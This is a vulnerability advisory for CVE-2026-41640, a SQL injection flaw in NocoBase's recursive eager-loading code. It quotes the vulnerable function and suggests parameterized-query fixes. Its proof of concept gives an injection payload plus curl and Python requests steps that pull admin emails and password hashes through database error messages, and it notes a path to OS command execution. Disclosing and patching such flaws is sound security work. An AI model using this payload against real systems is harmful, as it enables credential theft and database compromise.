CVE-2026-41640: NocoBase Vulnerable to SQL Injection via String Concatenation in Recursive Eager Loading

Published Apr 22, 2026
·
Updated

Summary

The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.

Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys

Vulnerable Code

packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84

javascript const queryParentSQL = (options: { db: Database; nodeIds: any[]; collection: Collection; foreignKey: string; targetKey: string; }) => { const { collection, db, nodeIds } = options; const tableName = collection.quotedTableName(); const { foreignKey, targetKey } = options; const foreignKeyField = collection.model.rawAttributes[foreignKey].field; const targetKeyField = collection.model.rawAttributes[targetKey].field;

const queryInterface = db.sequelize.getQueryInterface(); const q = queryInterface.quoteIdentifier.bind(queryInterface); return WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}') // <-- INJECTION UNION ALL SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)} FROM ${tableName} AS t INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)} ) SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte; };

This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:

javascript // eager-loading-tree.ts:382-395 if (node.includeOption.recursively && instances.length > 0) { const targetKey = association.targetKey; const sql = queryParentSQL({ db: this.db, collection, foreignKey, targetKey, nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows }); const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction }); }

PoC

The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.

Injection ID value: root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches): WITH RECURSIVE cte AS ( SELECT "id", "parentId" FROM "table" WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1') UNION ALL SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId" ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.

bash TOKEN="<jwttoken>"

1. Create tree collection with string PKs curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"vulntree","tree":"adjacencyList","fields":[ {"name":"id","type":"string","primaryKey":true,"interface":"input"}, {"name":"title","type":"string","interface":"input"}, {"name":"parent","type":"belongsTo","target":"vulntree","foreignKey":"parentId","targetKey":"id","treeParent":true}, {"name":"children","type":"hasMany","target":"vulntree","foreignKey":"parentId","sourceKey":"id","treeChildren":true} ]}'

2. Create safe root curl -s http://TARGET:13000/api/vulntree:create \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"id":"root","title":"Root"}'

3. Create injection parent — error-based extraction of admin email python3 -c " import requests, json headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'} payloadid = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\" requests.post('http://TARGET:13000/api/vulntree:create', headers=headers, json={'id': payloadid, 'title': 'x'}) requests.post('http://TARGET:13000/api/vulntree:create', headers=headers, json={'id': 'child', 'title': 'c', 'parentId': payloadid}) r = requests.get('http://TARGET:13000/api/vulntree:list', headers=headers, params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'}) print(json.dumps(r.json(), indent=2)) " Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"admin@nocobase.com\""}]} ^^^^^^^^^^^^^^^^^^^^^^^ Exfiltrated data in error message

Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):

| Subquery | Extracted Value | |----------|----------------| | SELECT version() | PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu... | | SELECT currentdatabase() | nocobase | | SELECT email FROM users ORDER BY id LIMIT 1 | admin@nocobase.com | | SELECT password FROM users ORDER BY id LIMIT 1 | 006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38 | | SELECT stringagg(email\|\|':'||substring(password,1,16), ' \| ') FROM users | admin@nocobase.com:006af6756e96 \| member@nocobase.com:4653e80e3cbf |

Impact

- Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes). - Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries. - Availability: Resource-exhaustive queries or destructive DDL. - Scope change: On PostgreSQL with superuser, COPY ... TO PROGRAM achieves OS command execution. - Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in plugin-field-sort/src/server/sort-field.ts:124.

Fix Suggestion

1. Use parameterized queries. Replace the string concatenation with bind parameters: javascript const placeholders = nodeIds.map((, i) => $${i + 1}).join(','); const sql = WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN (${placeholders}) UNION ALL ... ) SELECT ... FROM cte; return { sql, bind: nodeIds }; Then call db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }).

2. Apply the same fix to plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern with filteredScopeValue.

3. Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (', ", ;, --) in string-type primary key fields.

Other sources

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39.

MITRE

Affected Software

2 affected componentsFixes available
npm/@nocobase/database<2.0.39
2.0.39
NocoBase NocoBase<2.0.39

Event History

Apr 22, 2026
Advisory Published
via GitHub·08:09 PM
Data Sourced
via GitHub·08:09 PM
DescriptionSeverityWeaknessAffected Software
May 7, 2026
CVE Published
via MITRE·04:09 AM
Data Sourced
via MITRE·04:09 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 AM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-41640?

CVE-2026-41640 is classified as a high severity vulnerability due to its potential for SQL injection attacks.

2

How do I fix CVE-2026-41640?

To fix CVE-2026-41640, update to version 2.0.39 of the @nocobase/database package or later.

3

What kind of attack can exploit CVE-2026-41640?

CVE-2026-41640 can be exploited through SQL injection attacks that affect the queryParentSQL() function.

4

Which versions of the @nocobase/database package are affected by CVE-2026-41640?

Versions prior to 2.0.39 of the @nocobase/database package are affected by CVE-2026-41640.

5

Who is impacted by CVE-2026-41640?

Developers and applications using vulnerable versions of the @nocobase/database package are impacted by CVE-2026-41640.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203